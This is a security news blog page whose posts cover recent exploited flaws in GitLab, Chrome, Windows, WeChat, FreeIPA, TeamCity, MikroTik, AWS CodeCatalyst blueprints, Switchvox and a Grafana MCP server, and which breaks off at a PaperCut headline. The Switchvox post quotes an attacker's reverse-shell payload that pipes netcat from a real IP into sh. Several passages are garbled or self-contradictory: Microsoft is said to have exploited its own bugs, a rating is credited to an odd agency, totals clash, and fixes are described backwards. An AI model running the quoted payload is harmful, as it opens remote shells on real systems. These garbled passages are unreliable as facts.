Search This Blog
Powered by Blogger.

Blog Archive

Labels

Footer About

Footer About

Labels

Load More
Trendy Right Now

Popular Posts

Showing posts with label Vulnerabilities and Exploits. Show all posts
watchTowr
API CISA Code Injection Vulnerability CVSS GitLab patches Vulnerabilities and Exploits watchTowr

GitLab's Worst-Rated Vulnerability Is Already Being Exploited

 



GitLab on September 10 shipped emergency patches for a maximum-severity vulnerability that lets unauthenticated attackers read arbitrary files off a server and by the following morning, attackers were already hunting for unpatched instances.

The flaw, tracked as CVE-2026-85706, carries a CVSS score of 10.0, the highest rating a vulnerability can receive. It sits inside GitLab's repository commits API, where improper path confinement combined with missing authentication enforcement allows an outside attacker to break out of the intended directory structure and pull files from elsewhere on the server. According to watchTowr, the firm that first flagged in-the-wild activity, those files include log entries and GitLab-specific configuration files that may contain credentials, secrets, and sensitive system details.

The requirement for exploitation is notably low. A GitLab instance needs at least one public project for the attack to work and no credentials are required at all.

"watchTowr Intel is already observing in-the-wild probes for the latest critical GitLab path traversal vulnerability, CVE-2026-85706, which allows attackers to read arbitrary files in a single HTTP request," the firm said on September 11, noting that scanning activity had begun as early as 06:00 UTC that morning, within hours of GitLab's patch publication the day before.

Jake Knott, head of threat intelligence at watchTowr, told this publication: "The appeal to attackers of GitLab is obvious, as unauthorized access allows an attacker to gain access to source code, CI/CD secrets, credentials, and the ability to inject code into build pipelines, gaining access or poisoning anything downstream of it, which as we've seen throughout this year has been a favorite of attackers."


What Gets Exposed

GitLab sits at the center of most software delivery pipelines. A server running GitLab may hold proprietary source code, container build definitions, infrastructure-as-code configurations, API keys baked into CI/CD scripts, deployment credentials, and runner access tokens. A vulnerability that lets an outside party read files off the server without logging in is effectively a master key to an organization's software supply chain.

CISA, which added the vulnerability to its Known Exploited Vulnerabilities catalog on September 11, noted that arbitrary file disclosure can help attackers identify credentials, configuration details, and other information useful for follow-on intrusion activity. The agency also flagged the vulnerability under Binding Operational Directive 26-04, requiring forensic triage because some affected instances may have been accessed before patches were even available. 

Knott warned that full-scale exploitation is not far off: "Based on the history, the transition of this vulnerability to indiscriminate mass exploitation is likely not far away, and defenders have limited time to act."


Two More Critical Bugs in the Same Release

The patch bundle that addressed CVE-2026-85706 also closed two additional high-severity vulnerabilities, making this one of GitLab's more consequential security updates in recent memory.

The second issue, CVE-2026-87719, carries a CVSS score of 9.9. It is an insecure deserialization flaw inside the GraphQL subscription serializer that affects only GitLab Enterprise Edition. An attacker who already holds an authenticated account with Duo Chat access can submit a specially crafted GraphQL subscription argument to bypass serialization controls and trigger server-side object lookup, potentially exposing Advanced Search instance configurations and sensitive credentials. Unlike the path traversal issue, this one requires an existing foothold — but an insider, a compromised account, or an attacker who has already gained limited access could use it to escalate what they can see. 

A third vulnerability, CVE-2026-88765, is a buffer overflow in GitLab EE's Unicode conversion wrapper with a CVSS score of 8.5 that could allow an authenticated attacker to achieve remote code execution by importing a specially crafted Git project export. The overflow occurs during Advanced Search indexing, which means any instance that accepts project imports is in scope.

All three vulnerabilities are fixed in GitLab versions 19.3.2, 19.2.6, and 19.1.8, released September 10. GitLab.com and GitLab Dedicated customers do not need to take action the fixes were applied on their behalf.


A Pattern That Is Getting Harder to Ignore

CVE-2026-85706 is not an isolated incident. It is the second critical GitLab vulnerability to come under active exploitation within days of disclosure in roughly six weeks.

In August, GitLab released an emergency security update outside its normal twice-monthly schedule to address CVE-2026-19478, a code injection vulnerability in its GraphQL API carrying a CVSS score of 9.4. That flaw allowed unauthenticated attackers to modify or delete publicly accessible projects and user data through a GraphQL directive, requiring no credentials and no user interaction. 

WatchTowr warned at the time that it was able to reproduce that vulnerability within minutes of disclosure, armed only with GitLab's advisory details and the patch itself. Exploitation followed within roughly 48 hours. 

Knott made the connection explicit: "This is the second instance of a critical-severity GitLab vulnerability in recent weeks, following the previous GraphQL code injection (CVE-2026-19478) that was almost immediately actively exploited."

Internet-wide scanning data puts the number of self-managed GitLab instances reachable on standard web ports at more than 20,000, based on Shodan and Censys lookups, with a meaningful share still running versions inside the vulnerable range days after patches ship. That pool of exposed servers gives attackers a large, persistent target and the repeated pattern of fast exploitation suggests that, at minimum, automated scanning tools are picking up GitLab advisories and moving on them within hours. 


What Defenders Need to Do Now

CISA has given Federal Civilian Executive Branch agencies until September 14 to apply the fix. Private sector organizations running self-managed GitLab do not have a regulatory deadline, but the window between disclosure and mass exploitation has been narrowing with each successive GitLab vulnerability this year.

Any internet-facing instance should be treated as potentially compromised until confirmed otherwise if it was exposed before September 10, because active in-the-wild probes began at 06:00 UTC on September 11, meaning any unpatched server was under active attack within hours of the patch release.

Knott recommended a specific log-hunting approach for teams that cannot patch immediately: review HTTP POST requests to /api/v4/projects/{id}/repository/commits/ URIs containing file.Path parameters. Any hits in those logs before the patch was applied are worth investigating as potential exploitation attempts.

Because successful exploitation can expose sensitive server-side files, organizations with vulnerable internet-accessible instances should also evaluate whether credentials or secrets accessible to the GitLab process require rotation. 

Single-node GitLab instances will experience downtime during the upgrade because database migrations must complete before GitLab can start, while multi-node instances can apply the patch without downtime by following proper zero-downtime upgrade procedures. Version 19.3.2 also includes post-deploy migrations that run after the upgrade completes.

The vulnerability was discovered by a researcher using the handle 's3ntago' and reported through GitLab's HackerOne bug bounty program. No attribution for CVE-2026-87719 or CVE-2026-88765 has been publicly confirmed at this time.

Read more »
Zero Day Exploit
BlueMoon Exploit Kit Chrome Zero Day Chromium Vulnerability cyber espionage Proofpoint Vulnerabilities and Exploits Windows Zero Day Zero Day Exploit

Several Chinese Hacking Groups Observed Using Identical Chrome Zero-Day Exploit


Based on cybersecurity firm Proofpoint, four cyber-espionage groups, most of which are linked to Chinese state intelligence, have been exploiting the same previously unknown Chrome vulnerability since late August, according to the firm. The activity involved an exploit kit, referred to as BlueMoon, that was used on U.S. defense contractors, non-profit organizations, and government agencies throughout Southeast Asia. 

There were separate campaigns operated by each group that targeted different targets, deployed different malware and utilized different command-and-control infrastructure, but utilized the same exploit kit for the compromise of Chrome browsers. According to Proofpoint, two additional groups may have utilized BlueMoon, suggesting that its reach may extend far beyond activities identified so far. 

The use of the kit has raised questions regarding how different threat groups were able to achieve the same capability so quickly. A number of possibilities have been explored by researchers, including Chinese government sources, shared contractors, and commercial providers providing offensive tools to multiple actors. 

Proofpoint has not yet identified a definitive source for the exploit kit BlueMoon exploited a vulnerability in Chromium, the open-source project that runs Chrome, to exploit this vulnerability. The corresponding changes to Chrome released a few weeks later, even though a vulnerability had been fixed in Chromium in early August. As a result of access to public code changes during that period, attackers were able to assess the fix and develop an exploit to discover the underlying weakness. 

Until an upstream fix was released to Chrome users, there was a narrow window for exploitation. According to Proofpoint researchers, reverse engineering and weaponizing patches within such a short period of time was not uncommon before, but the BlueMoon activity indicates that attackers are developing more rapid exploits from publicly available fixes. By combining multiple browser vulnerabilities with a Windows vulnerability, BlueMoon is able to gain control of a targeted system. 

Once the browser compromise has been completed, it is handed over to malware selected by the threat group that is employing it. APT31, also known as TA412, is the first confirmed user of BlueMoon. The group used it to attack U.S. non-governmental organizations, mining companies, and commodity traders via phishing messages. 

The exploit chain for BlueMoon was based upon two vulnerabilities in Chrome's V8 JavaScript and WebAssembly engines, followed by a privilege-escalation flaw in Windows. The attackers were able to break out of Chrome's security sandbox using the browser vulnerabilities, and then used the Windows vulnerabilities to gain higher privileges on affected systems by exploiting the Windows flaw. 

By injecting code into the Chrome broker process after the chain had completed, BlueMoon could retrieve executables and execute them from the temporary directory of the system using the built-in curl utility. Proofpoint identified several packaging variants of the kit, but the key exploitation sequence and loading process remained largely unchanged. Additionally, evidence has been found to indicate artificial intelligence may have played a role in the rapid development of BlueMoon. 

During the development process, researchers found detailed debugging comments, diagnostic information, and a Markdown handover document. Several of the references to Google V8 challenges were not sufficient to establish whether or not artificial intelligence was responsible for developing the exploit. 

According to Proofpoint, however, the evidence was insufficient to establish how artificial intelligence was used. Especially significant is the timing of the activity because it appears that the attackers used publicly available Chromium fixes before those fixes were released in stable browser versions. While many systems were still vulnerable to attacks, exploit developers had the opportunity to examine the patches, identify the underlying weaknesses, and prepare attacking code to exploit these vulnerabilities. 

A fix has been provided for all three vulnerabilities used by BlueMoon, including the privilege-escalation flaw in Microsoft's September 2026 security updates for Windows. Despite the fact that security updates are still being distributed across Chromium-based browsers during this period, the exploit kit may continue to pose a threat during this time. 

The rapid movement of BlueMoon between multiple espionage campaigns could indicate that the costs of developing advanced browser exploits are declining, according to Proofpoint. Furthermore, the researchers noted that the kit is not limited to Chinese activities, since it is relatively straightforward to deploy. This makes it useful to other espionage and financially motivated threat actors as well.
Read more »
Zero Day Vulnerabilities
CVE 2026 Cybersecurity Microsoft Patch Tuesday Microsoft Vulnerabilities Remote Code Execution Vulnerabilities and Exploits Windows Security Updates Zero Day Vulnerabilities

Microsoft Patches Nearly 1,000 Vulnerabilities in September Update



A significant security update was released by Microsoft on Patch Tuesday in September, addressing 974 vulnerabilities across the company's software portfolio in unusual quantities. Additionally, this update contains two Windows flaws that have been confirmed to be exploited in the wild, highlighting the urgency of fixing the vulnerabilities. The vulnerabilities span several Microsoft product categories, including Windows, Office, SQL Server and Development Tools. 

Microsoft Windows accounted for 723 flaws, while Microsoft Office and Office 2016 contained 111, SQL had 62, and Developer Tools contained 22 more. There have been over 110 critical vulnerabilities rated as critical. Among the most critical issues addressed in this month's release are privilege escalation, remote code execution and information disclosure. Besides Microsoft's own vulnerabilities, the company also patched 25 non-Microsoft vulnerabilities as part of the September update, which brings the total number of vulnerabilities covered to 999. 

The two actively exploited Windows vulnerabilities are CVE-2026-85880 and CVE-2026-81963, both with a CVSS score of 7.8. The CVE-2026-85880 vulnerability is a heap-based buffer overflow in the Advanced Local Procedure Call (ALPC) function of Windows. The vulnerability can be exploited by an attacker with authorization to gain SYSTEM-level access by escalating privileges. 

CVE-2026-81963 is a vulnerability that affects the Windows Update Stack and involves improper link resolution. Authorized attackers are also capable of exploiting this vulnerability for escalating local privileges and gaining system access. 

By exploiting CVE-2026-85880, Microsoft stated that code running inside an AppContainer that has low privileges may escape its sandbox and gain full privileges on the affected Windows system. The attack does not require additional interaction from the user. This vulnerability has attracted significant attention due to its location within the Windows Update Stack. 

There have been reports of vulnerabilities in this component that could have serious implications, especially since the update mechanism itself is responsible for the modification of system components. Microsoft has released fixes for CVE-2026-81963, however, across supported versions of Windows. 

Both vulnerabilities have been exploited by Microsoft, but the company has not provided information regarding who the attackers are, how many systems were targeted, or whether successful compromises have been confirmed. According to the Cybersecurity and Infrastructure Security Agency (CISA), both vulnerabilities have been added to its catalog of known exploited vulnerabilities. There is a deadline of September 22, 2026, for federal agencies to apply available security updates. 

The September release addresses several high-severity security vulnerabilities across Microsoft enterprise products in addition to the two exploited zero-days. This vulnerability could allow an unauthorized attacker to execute code remotely if exploited by an attacker. It has been rated 8.1 by the Center for Vehicular Defense. 

A vulnerability rated 8.8 in SharePoint has been reported, as well as a vulnerability in SQL Server called CVE-2026-65669, which can result in network-based code execution. The vulnerability is particularly severe and carries a CVSS score of 9.6, enabling privilege escalation. Several critical vulnerabilities affect Windows Remote Desktop Services, Windows DNS Server, Windows DHCP Server, Windows Shell, and Windows Services for NFS ONCRPC XDR Driver, carrying the maximum CVSS score of 9.8. 

In addition to reflecting the growing number of security vulnerabilities reported, the scale of the September release also reflects the rising number of security flaws reported by TrendAI's Zero Day Initiative. As of the beginning of 2026, Microsoft has patched 2,760 security vulnerabilities. Among Tenable's analysts, Satnam Narang noted that the September release alone brings the yearly count above 2,600 vulnerabilities, more than twice the previous record of 1,245 vulnerabilities recorded in 2020. 

It is important to note, however, that the raw number of CVEs does not necessarily indicate a company's level of risk. There may be patches that do not affect a particular environment, while others require specific configurations or local access for exploitation to occur. In the immediate future, it is important to identify vulnerabilities in deployed systems that are able to be exploited realistically. 

Since the two Windows zero-day vulnerabilities have already been confirmed as exploited and have been added to CISA's KEV catalog, they should be remedied sooner rather than vulnerabilities with no known exploitation activity.

Read more »
Windows
Account Hijacking Android Apple Zero-Day Vulnerabilities iOS Malicious calls Vulnerabilities and Exploits WeChat Windows

One WeChat Call Was Enough to Hijack Accounts Across iPhone and Android

 



A new wave of WeChat vulnerability can turn an incoming voice call into a zero-click account takeover, enabling a compromised account to target another contact without requiring the recipient to answer the call or interact with the device.

Security researchers at Calif developed the exploit and demonstrated its worm-like propagation across an iPhone and two Android devices. In the test, an Android phone called an iPhone and compromised its WeChat account while the incoming call was still ringing. The compromised iPhone then called a second Android phone, allowing the researchers to repeat the takeover.

The attack depends on the caller already being listed as a WeChat contact of the target. Calif said this is not necessarily a strong protection because compromising one account can give an attacker access to that user's trusted contacts, creating opportunities to propagate the attack through existing relationships.

The recipient does not need to answer the call. Calif said answering it also does not prevent exploitation, with the victim hearing nothing while the attack continues. Rejecting the call stops that individual attempt, but an attacker can simply place another call later. This could allow repeated attempts when a target is unavailable, including while the person is asleep.

According to Calif, the vulnerability affects WeChat's VoIP functionality and involves memory corruption. Successful exploitation provides control over the victim's WeChat account, allowing an attacker to read and send messages, make calls and operate the account as its owner. The researchers stressed that the vulnerability by itself does not provide control of the entire smartphone. Chaining it with separate device vulnerabilities could, however, potentially extend an attack beyond the application.

Calif has not released the exploit's technical details and plans to present its full research at a security conference. The company said its researchers used an AI-assisted system designed to explore attack surfaces in messaging applications to identify the vulnerability. Calif said its engineering team identified the bug on July 23, completed an Android exploit on July 30 and demonstrated the worm on August 11. It separately described the initial exploit development as taking about two days, followed by roughly another week to build the worm.

The researchers disclosed the issue to Tencent in July. Tencent subsequently released WeChat 8.0.77 for Android and 8.0.76 for iOS on August 21. Calif said those updates mitigated its exploit and that it confirmed on August 28 that Tencent had also blocked the attack on its servers. On September 4, Calif said Tencent confirmed that the vulnerability could be exploited for remote command execution.

The server-side mitigation means users do not necessarily need to install an update for the specific exploit to be blocked. Keeping the application updated remains advisable, particularly because Tencent has not published a complete list of affected versions. Calif said it tested against Android 8.0.76 and iOS 8.0.75, including iOS 26.6 and older Android releases.

Tencent has not publicly issued a security advisory describing the vulnerability, while its release notes characterize the relevant updates as bug fixes. The company also distributes WeChat clients for HarmonyOS, Windows, macOS and Linux, but Calif has not disclosed whether those versions were tested.

The risk extends beyond private conversations because WeChat incorporates services including payments, official accounts and mini programs. Tencent reported 1.439 billion combined monthly active users for WeChat and Weixin as of June 30, 2026, giving an account-level compromise potential consequences beyond ordinary messaging.

There is currently no indication that the flaw was used in attacks against WeChat users. Calif has not reported an active campaign, and the researchers have not published indicators that defenders could use to identify exploitation. As of September 8, checks also found no CVE identifier for the vulnerability and no corresponding advisory on Tencent's security response site.

The discovery adds to a continuing security concern around zero-click vulnerabilities in communications software. Such attacks can exploit data automatically processed by an application before a user accepts an incoming communication, removing the conventional requirement for a victim to click a malicious link or open an attachment.

Calif's demonstration therefore presents two distinct risks: the immediate compromise of a WeChat account and the possibility of automated propagation through trusted contacts. While Tencent has blocked the demonstrated exploit, the absence of a public technical analysis means users cannot independently determine from the available information whether older or alternative WeChat builds were vulnerable.

Read more »
Vulnerabilities and Exploits
Administrative Privilege FreeIPA LDAP Red Hat Vulnerabilities and Exploits

Critical FreeIPA Bug Can Let Attackers Take Over Admin Rights

 

FreeIPA users and Red Hat Identity Management administrators should treat CVE-2026-76578 as a critical authentication-bypass flaw that can lead to full administrative compromise. Red Hat says a remote attacker with only LDAP network access can exploit the issue without credentials or user interaction, and NVD echoes the same core description. 

The weakness sits in FreeIPA’s self-managed OTP token ACI, which does not require authentication and does not properly restrict extra attributes added with a token entry. In Red Hat’s advisory, that flaw is chained with a separate directory-server ACI evaluation problem so an attacker can create an arbitrary Kerberos principal and get it placed into the administrators group. 

That matters because administrator-group membership in FreeIPA is not symbolic; it grants real control over identity and directory operations. Red Hat says the attacker can perform privileged reads, create or delete entries, and potentially disrupt the directory, while SID-enabled deployments may extend the blast radius to other IdM services. External security writeups also describe the issue as affecting default FreeIPA installations and rate it 9.8 Critical. 

Red Hat lists the CVSS v3.1 vector as AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, which matches a network-only attack with no privileges or user interaction required. The company also notes that the original collision-based technique was independently reproduced on a stock FreeIPA installation, underscoring that the issue is practical rather than theoretical. NVD’s record shows the same vulnerability text and links back to Red Hat as the source. 

The immediate defensive advice is to restrict LDAP ports 389 and 636 to trusted hosts using firewall rules or segmentation. Red Hat also says disabling anonymous LDAP binds can block this attack path, but administrators should verify that doing so will not break any legitimate anonymous-bind workflows first. The FreeIPA project’s fix is reported in version 4.13.4 by external coverage, and that update is the cleanest long-term remediation path.
Read more »
Vulnerabilities and Exploits
AWS Credentials CI/CD Security Cloud Security CVE-2026-63077 Cybersecurity Breach JetBrains Cadence TeamCity Vulnerability Vulnerabilities and Exploits

Attackers Exploit TeamCity Flaw to Breach JetBrains Cadence


JetBrains has revealed a security incident involving its Cadence cloud development service after attackers gained access through an unpatched TeamCity server. The compromise exposed sensitive credentials, source code, and service information, causing concerns regarding the security of development environments connected to cloud computing resources. 


During this incident, CVE-2026-63077, a critical TeamCity On-Premises vulnerability, was exploited by an unauthenticated attacker, allowing him to execute operating system commands on an affected server without any authentication. 

A flaw disclosed by JetBrains on July 27 was exploited soon after by vulnerable TeamCity installations. In the case of Cadence, it was api.cadence.jetbrains.com, the infrastructure used to support JetBrains' cloud computing service for PyCharm, which was vulnerable. 

A malicious attacker is believed to have begun attacking on August 8 JetBrains discovered the intrusion on August 23 and taken the affected server offline the following day, putting the confirmed incident window between August 8 and August 24. Cadence integrates with PyCharm through an optional plugin that provides access to cloud-based computing resources for development projects. 

As TeamCity managed those workloads behind the service, the compromised system was part of a closely related environment involving software development and execution. JetBrains acknowledged that the server should have been patched immediately following the disclosure of the TeamCity vulnerability, but remained unpatched. 

Following the discovery of the critical vulnerability in TeamCity, the company has previously advised organizations to update vulnerable TeamCity deployments. In addition, the breach became more significant because attackers obtained a complete backup of Cadence server data from 2024. In addition, JetBrains confirmed that several Amazon Web Services IAM users and their credentials were compromised, including those belonging to Cadence employees. 

The backup may contain credentials, configuration data, artifacts, and logs. A compromised backup contained more than routine service data. It also contained configuration information and credentials associated with cloud and development resources. Researchers also discovered that JetBrains customers' own buckets were accessed through S3 buckets within JetBrains' Amazon Web Services environment. 

The extent of customer access to these buckets is unknown. There were several aspects of the development infrastructure exposed, including access to AWS IAM accounts, source-control access, package and container registry credentials, API tokens, SSH and deployment keys, service accounts and signing credentials, among others. 

In the event of valid credentials remaining after the compromise, such access could provide a path into connected systems. JetBrains has not identified a specific threat actor as responsible for the activity, and no custom malware has been identified. Instead of exploiting a TeamCity vulnerability, the attacker used legitimate credentials and cloud services to conduct the intrusion. This method can make it difficult to distinguish malicious activity from normal administrative activity. This incident demonstrates the security implications of continuous integration and continuous delivery. 

Using TeamCity environments, you can access source repositories, build artifacts, deployment systems, package registries, and cloud resources. Thus, a compromise on this level can lead to credential theft, unauthorized changes, and software supply chain attacks beyond the affected server. According to JetBrains, access tokens for the Cadence plugin in PyCharm have been invalidated, and users are encouraged to revoke or rotate credentials and secrets that were potentially used during Cadence executions. 

In addition, Cadence inputs and outputs derived from this period should be viewed as potentially untrusted. As a result of the TeamCity vulnerability, a CVSS score of 9.8 has been assigned to it; it affects on-premises installations not updated to the latest version. The JetBrains patch version 2025.11.7 and version 2026.1.3, along with a security patch plugin, are available for environments in which immediate upgrades are not possible. 

After exploitation was observed in the wild, CISA added the flaw to its catalog of Known Exploited Vulnerabilities. JetBrains has begun to assess the impact of the Cadence breach and has prompted a broader review of the affected environment. Upon completing the investigation, the company will contact affected users if further information is discovered that requires action. 

According to the company, the incident is limited to the data associated with the Cadence host identified. It illustrates how critical it is to keep the CI/CD infrastructure patched, particularly when development systems are connected to the cloud and sensitive credentials.
Read more »
Vulnerabilities and Exploits
CVE-2026-67276 CVE-2026-86060 MikroTik RouterOS MikroTik Vulnerabilities MikroTrick Attack Router Security SSH Authentication Bypass Vulnerabilities and Exploits

MikroTik Routers Targeted Through Internet-Exposed SSH Access

The Secure Shell (SSH) remote-access service of MikroTik routers is actively being used by attackers to access internet-exposed MikroTik routers, exploiting vulnerabilities that can grant complete administrative control without requiring authentication. A CERT Polska advisory published on September 5, stating that successful exploitation has been observed since at least September 2. The advisory also noted successful exploitation of the ongoing attacks. 

In the advisory, the attackers were not identified or an estimate of how many devices had been compromised was not provided. In addition to warning of active exploitation, Costin Raiu also reported that MikroTik routers with SSH exposed may already be compromised. Known as MikroTrick, this attack chain is comprised of two vulnerabilities found in MikroTik RouterOS. 

A CVSS rating of 9.2 has been assigned to CVE-2026-67276, an SSH authentication bypass vulnerability. A second vulnerability, CVE-2026-86060, allows privilege escalation within an SSH session. When combined, these flaws allow an attacker with no credentials to gain complete control of RouterOS devices that are affected by these flaws. RSA public key validation is the cause of CVE-2026-67276. 

Using a legitimate username and public key, an attacker can construct a fake key that is accepted without possessing the associated private key. Once access has been gained, a privilege-escalation flaw can be used to elevate the session to administrative level control. The CERT Polska website stated that six RouterOS vulnerabilities have been identified and coordinated for disclosure, with two of these vulnerabilities involving MikroTrick. 

Organizational members have observed the attack on RouterOS devices accessible directly from the Internet. MikroTik has released fixed RouterOS versions that address these vulnerabilities. CERT Polska recommends installing the appropriate security updates immediately, and reviewing router configurations for unauthorized modifications following that. 

 As stated in the vendor's documentation, home devices' default firewall rules normally prevent external access to management services as long as those rules are not altered. Evidence of exploitation emerged before the security fixes were widely announced. The successful attacks, including the creation of highly privileged accounts known as "ops," are believed to have begun at least at the beginning of September, CERT Polska stated. 

A security researcher, Costin Raiu, noted that MikroTik released fixes on September 3, posing questions regarding whether attackers were aware of the patches before they were made public. The timeline does not conclusively establish the flaws as zero-days. In the case of the attacks, the IP address associated with Leaseweb 82.192.72.4 has been primarily linked. There was also an observation of a second address, 103.102.31.18, exploiting MikroTrick. The confirmed successful attacks originating from this address, according to CERT Polska. 

A number of traces have been left in RouterOS logs. Failed exploitation attempts appear under the username “-2”, while successful activity may appear as a configuration change and SSH session. It has been confirmed that the creation of the “ops” account is related to the observed attacks. Any changes involving users, SSH keys, scripts, scheduled tasks, firewall rules, proxy servers, or tunnels should be investigated immediately. It remains difficult to determine the extent of the exposure. 

Approximately 122,500 MikroTik devices exposed to the Internet over SSH were reported by ShadowServer Foundation on September 5, however this number does not reflect how many devices are vulnerable to specific MikroTik vulnerabilities. MikroTik has not disclosed the number of compromised or exploitable routers. The new RouterOS versions include a Flagged mechanism which detects signs of unauthorized configuration changes during startup of the operating system. 

The system can be configured to disable suspicious entries and record a critical warning, but according to CERT Polska, the detection mechanism only detects known traces, so a router without a Flagged warning cannot be regarded as automatically clean. 

Administrators unable to patch immediately should disable externally accessible SSH, WWW/WWW-SSL, and bandwidth test services or restrict access to trusted management networks. Additionally, CERT Polska recommends that unpatched devices do not make outbound TLS connections or use the built-in RouterOS SSH clients, particularly across untrusted networks. These measures are intended only to reduce exposure until the security update can be installed. 

When a router shows signs of compromise, CERT Polska suggests isolating it and conserving its logs and configuration before performing a reset. When the router has been restored to factory settings, it should be rebuilt using a trusted configuration, while passwords, SSH keys, and other credentials should be rotated. 

Restoring a potentially compromised backup without verifying it should never be done. It is important to note that the six vulnerabilities identified by CERT Polska extend beyond the SSH flaws, affecting areas such as bandwidth testing, certificate handling, and WebFig functionality. Among the high severity bandwidth-test flaws identified by the agency are CVE-2026-67277, which can expose kernel memory or cause a remote system crash. 

The active exploitation highlights the risks of exposing router management services to the internet. RouterOS security updates should be applied by administrators, configurations should be reviewed for unauthorized changes, and affected devices should be examined for signs of compromise.

Read more »
Vulnerabilities and Exploits
AWS CodeCatalyst AWS Vulnerability CodeCatalyst Blueprints Command Injection CWE-78 OS Command Injection Vulnerabilities and Exploits

AWS CodeCatalyst Blueprints SDK Hit by High-Severity Command Injection Flaw


There is a high-severity attack on Amazon CodeCatalyst blueprints that exploits an open-source framework for building them. This vulnerability has been reported by Amazon Web Services. This flaw affects the @amazon-codecatalyst/blueprints.blueprint npm package and can lead to the execution of arbitrary commands in environments operating blueprint resynthesis. 

The Amazon CodeCatalyst blueprints serve as template documents for creating software development projects that can be reused. npm package that is affected provides the framework that blueprint authors use to construct these templates and is part of the open-source project AWS CodeCatalyst Blueprints. 

During blueprint resynthesis, a vulnerability occurs in the process of determining which files an existing project may modify based on its .ownership-file, which is used to determine whether blueprints can modify them. Versions 0.3.155 and earlier handled the owner field of an entry containing a [local] merge strategy without adequate validation, which left it vulnerable to shell command interpretation. 

A repository user with access to commit permissions could potentially use shell metacharacters to alter the affected field. In the context of resynthesis, those characters could be interpreted as commands by the operating system, allowing arbitrary commands to be executed in the resynthesis environment. The executed commands could consequently expose all privileges or credentials available in that environment. 

Amazon has rated CVE-2026-85012 as 8.5 on the CVSS 4.0 scale, indicating that it is a high-severity vulnerability. Under CWE-78, which describes improper neutralization of special elements in operating system commands, this vulnerability has been classified as high severity. Amazon CodeCatalyst service deployments that utilize vulnerable versions of the blueprint framework are affected by this issue as opposed to the CodeCatalyst service itself. 

As stated by Amazon, CodeCatalyst's resynthesis process operates in a separate environment with unique credentials for each project. Additionally, the service performs server-side validation to block merge strategy commands unless they conform to a restricted allowlist, including older blueprint versions. 

AWS Releases Fix for CVE-2026-85012

It has been reported that Amazon has corrected this vulnerability in version 0.3.156 of @amazon-codecatalyst/blueprints.blueprint, which reverts to shell-based command interpretation and executes the relevant command directly in place of shell-based command interpretation. In addition, the patched release restricts accepted values to an allowlisted command format, closing the injection path identified in CVE-2026-85012. 

Shell metacharacters are prevented from being interpreted during blueprint resynthesis as additional commands, closing the injection path identified in CVE-2026-85012. There are versions of the package 0.3.155 and earlier that are affected, so Amazon recommends upgrading to version 0.3.156, with forked and derivative implementations also requiring the appropriate security updates. There is no need for Amazon CodeCatalyst customers to respond to this vulnerability on the service-side. 

Resynthesis jobs within the service are conducted in isolated environments assigned to specific projects, using scoped credentials. Server-side checks are also applied by AWS to reject [local] merge strategy commands that do not conform to the approved format. In addition, these protections apply when blueprints are published using versions of the framework prior to version 0.3.156. 

The primary remediation concern is those projects or development environments that directly utilize the affected open-source framework following the implementation of the package-level fix. This updates the dependency, therefore removing the vulnerable shell execution behavior, and resolving the underlying issue of command injection described in CWE-78.

By removing shell interpretation and enforcing an allowlisted command format, version 0.3.156 resolves the underlying command injection issue. Users who are currently using version 0.3.156 should take the necessary steps to update their SDK.

Read more »
Vulnerabilities and Exploits
CVE-2026-9586 SQL Injection Switchvox Vulnerabilities and Exploits

Switchvox Vulnerability Triggers Active Exploitation Risk

 

Sangoma Switchvox CVE-2026-9586 is a serious unauthenticated SQL injection flaw that can lead to remote code execution, and Horizon3 says it has already seen real-world exploitation attempts. The issue was patched in Switchvox 8.4.0.2, making rapid remediation important for exposed systems. 

Horizon3’s research says Switchvox is an enterprise VoIP management platform used for voicemail, call forwarding, monitoring, and analytics. The vulnerability sits in an unauthenticated HTTP endpoint handled by PhoneAppsHandler.pm, where XML input is parsed and the PhoneIP field is inserted directly into a SQL query without validation. 

That weak input handling can let an attacker inject SQL into the backend, and the blog describes how the query executes with PostgreSQL superuser privileges. Horizon3 notes that this design makes exploitation especially dangerous because the flaw can progress from a single request to code execution on the device. 

The post also highlights indicators of compromise, including activity in /var/log/switchvox/db-quirks.log. In one observed case, attackers used a payload involving nc 176.65.148.184 39323 | sh, then followed up with commands to enumerate processes and exfiltrate results through a remote server. 

The disclosure timeline shows Horizon3 reported the issue on 10 April 2026, Sangoma released the fix on 14 July 2026, and Defused Cyber honeypots recorded valid exploitation on 30 August 2026. Horizon3 also says Shodan showed roughly 4,000 internet-exposed Switchvox devices, which suggests a broad attack surface for organizations that have not patched yet. 

Safety recommendations 

Upgrade immediately to Switchvox 8.4.0.2 or a later supported release, since that version contains the fix for CVE-2026-9586. If patching cannot happen right away, restrict access to the Switchvox web interface and /pa endpoint with firewalls, VPNs, and network segmentation, and avoid direct internet exposure. Security teams should also review /var/log/switchvox/db-quirks.log, inspect outbound traffic for suspicious connections, and investigate any indicators tied to the observed attacker IP.
Read more »
Vulnerabilities and Exploits
Grafana Breach MCP Flaw Security Breach Vulnerabilities and Exploits

Grafana MCP Flaw Exposes Session Spoofing and SSRF Risk

 

Grafana MCP has come under security scrutiny after researchers found a dangerous combination of unauthenticated tool access and server-side request forgery, or SSRF, that could expose sensitive internal systems. The issue matters because Grafana is widely used to monitor production metrics, logs, traces, and incidents, making it a high-value target in enterprise environments.

Pillar Security reported that affected Grafana MCP deployments allowed a reachable caller to invoke MCP tools without authentication by using a locally generated session value in the expected format. In practice, this meant an attacker could call tools such as tools/list and tools/call even without presenting a real credential, and the server would still use its configured Grafana service account on the attacker’s behalf. Grafana responded by adding optional bearer-token authentication in v1.1.0, which returns a 401 error before tool execution when configured.

The second flaw was more subtle but equally dangerous. The grafana_api_request tool accepted an X-Grafana-URL value that let the caller choose the outbound destination, along with the method, path, body, and headers . Although Grafana had already prevented its service-account token from being sent to foreign hosts, the server still made the request and returned the response, which created a critical SSRF condition assigned CVE-2026-19516 with a CVSS score of 9.1.

Researchers showed that this SSRF primitive could be used to reach internal services and even simulate a cloud metadata flow in a controlled environment . That is important because the danger is not limited to token leakage; the server itself becomes a readable and method-capable proxy from its own network position, extending the attacker’s reach beyond what they could access directly.

The broader lesson is that MCP servers can function like identity brokers, translating user instructions into privileged actions performed with the server’s credentials and network access . Session identifiers, host validation, and origin checks may help with protocol state, but they do not replace authentication or authorization. For operators, the practical defense is clear: require inbound authentication, minimize service-account permissions, restrict outbound destinations with strict allowlists, and block private, loopback, and metadata ranges by default .
Read more »
Vulnerabilities and Exploits
CVE-2026-81578 CVE-2026-82078 PaperCut MF vulnerability PaperCut NG vulnerability PaperCut security Vulnerabilities and Exploits

PaperCut NG and MF Flaws Exploited in the Wild, Prompting Emergency Security Patch

 

